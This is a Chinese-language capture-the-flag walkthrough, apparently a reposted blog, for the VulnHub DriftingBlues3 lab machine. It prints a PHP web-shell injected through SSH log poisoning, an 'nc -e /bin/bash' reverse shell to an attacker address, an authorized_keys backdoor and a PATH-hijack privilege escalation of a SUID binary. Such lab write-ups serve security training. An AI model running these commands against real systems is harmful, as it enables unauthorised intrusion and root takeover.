?靶機下載地址:https://download.vulnhub.com/driftingblues/driftingblues3.ova
vbox匯入,網路模式橋接,靶機模式為簡單,
一:資訊收集
1;直接老樣子吧,arp主機發現之后,nmap掃描埠服務,目錄遍歷,
?



2;另請檢查/littlequeenofspades.html

源代碼上發現一串密文,
echo aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ== | base64 -d
echo -n L2FkbWluc2ZpeGl0LnBocA== | base64 -d

二;漏洞利用
1;ssh登錄驗證日志,前面說有毒,可能日志中毒,ssh auth log --> ssh身份驗證日志,并且注意到登錄用戶名顯示在日志中,也就是說如果我們使用ssh登陸時,將用戶名寫成一句話就可以寫馬進日志中,

ssh '<?php system($_GET["yang"]);?>'@192.168.1.40

寫入成功,
?
那就反彈一下shell吧,反彈成功,沒有權限,提升一下權限,
nc -e /bin/bash 192.168.1.28 1234
python -c 'import pty; pty.spawn("/bin/bash")' #互動shell
?
2;home目錄下有個用戶,想打開user.txt,但是沒有權限,ssh檔案可讀可寫可執行,

![]()
進到.ssh私鑰,里面沒有東西,有點奇怪,查看ssh組態檔/etc/ssh/sshd_config,發現可以使用公鑰登入,并且給出了檔案名/home/robertj/.ssh/authorized_keys,

ssh服務公鑰登錄,主要流程為:
- 客戶端生成RSA公鑰和私鑰
- 客戶端將自己的公鑰存放到服務器
- 客戶端請求連接服務器,服務器將一個隨機字串發送給客戶端
- 客戶端根據自己的私鑰加密這個隨機字串之后再發送給服務器
- 服務器接受到加密后的字串之后用公鑰解密,如果正確就讓客戶端登錄,否則拒絕,這樣就不用使用密碼?
在本地生成密鑰對,
ssh-keygen 在本地生成.ssh目錄
ssh-keygen -f yan 生成這樣的檔案

?
?在目標服務器的 .ssh 檔案夾下創建存放客戶端公鑰的檔案 authorized_keys(默認配置)

把生成的公鑰上傳到靶機上去,

把公鑰資訊寫入目標檔案
cat id_rsa.pub > authorized_keys
?
ssh連接成功,注意一下這里,我在生成密鑰對時,設定了一下密碼,在生成密鑰對時,可以不設定密碼,
ssh 192.168.1.40 -l robertj -i id_rsa

三:提權,
1;第一個falg,

2;命令劫持提權,
find / -perm -u=s -type f 2>/dev/null

3;利用linpeas.sh腳本查找bug,

大把的漏洞可執行,

大概的原理就是 執行系統命令所以我們可以自行撰寫一個同名檔案,
比如說cat,因為我們猜測getinfo中使用了cat命令,如若我們可以添加環境變數,getinfo在呼叫命令時首先檢索環境變數就會呼叫到我們偽造的cat,執行我們想要的命令,來達到提權的效果,即使用環境變數進行命令劫持提權
export PATH=/tmp/:$PATH 把/tmp路徑加入到系統路徑中,
cd /tmp
echo '/bin/bash' > ip 把/bin/bash寫入到ip中,
chmod +x ip 增加執行權限
/usr/bin/getinfo
4;第二個flag,
? 
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539443.html
標籤:其他
上一篇:前端精準測驗實踐
下一篇:內網安全 - 簡單域環境搭建
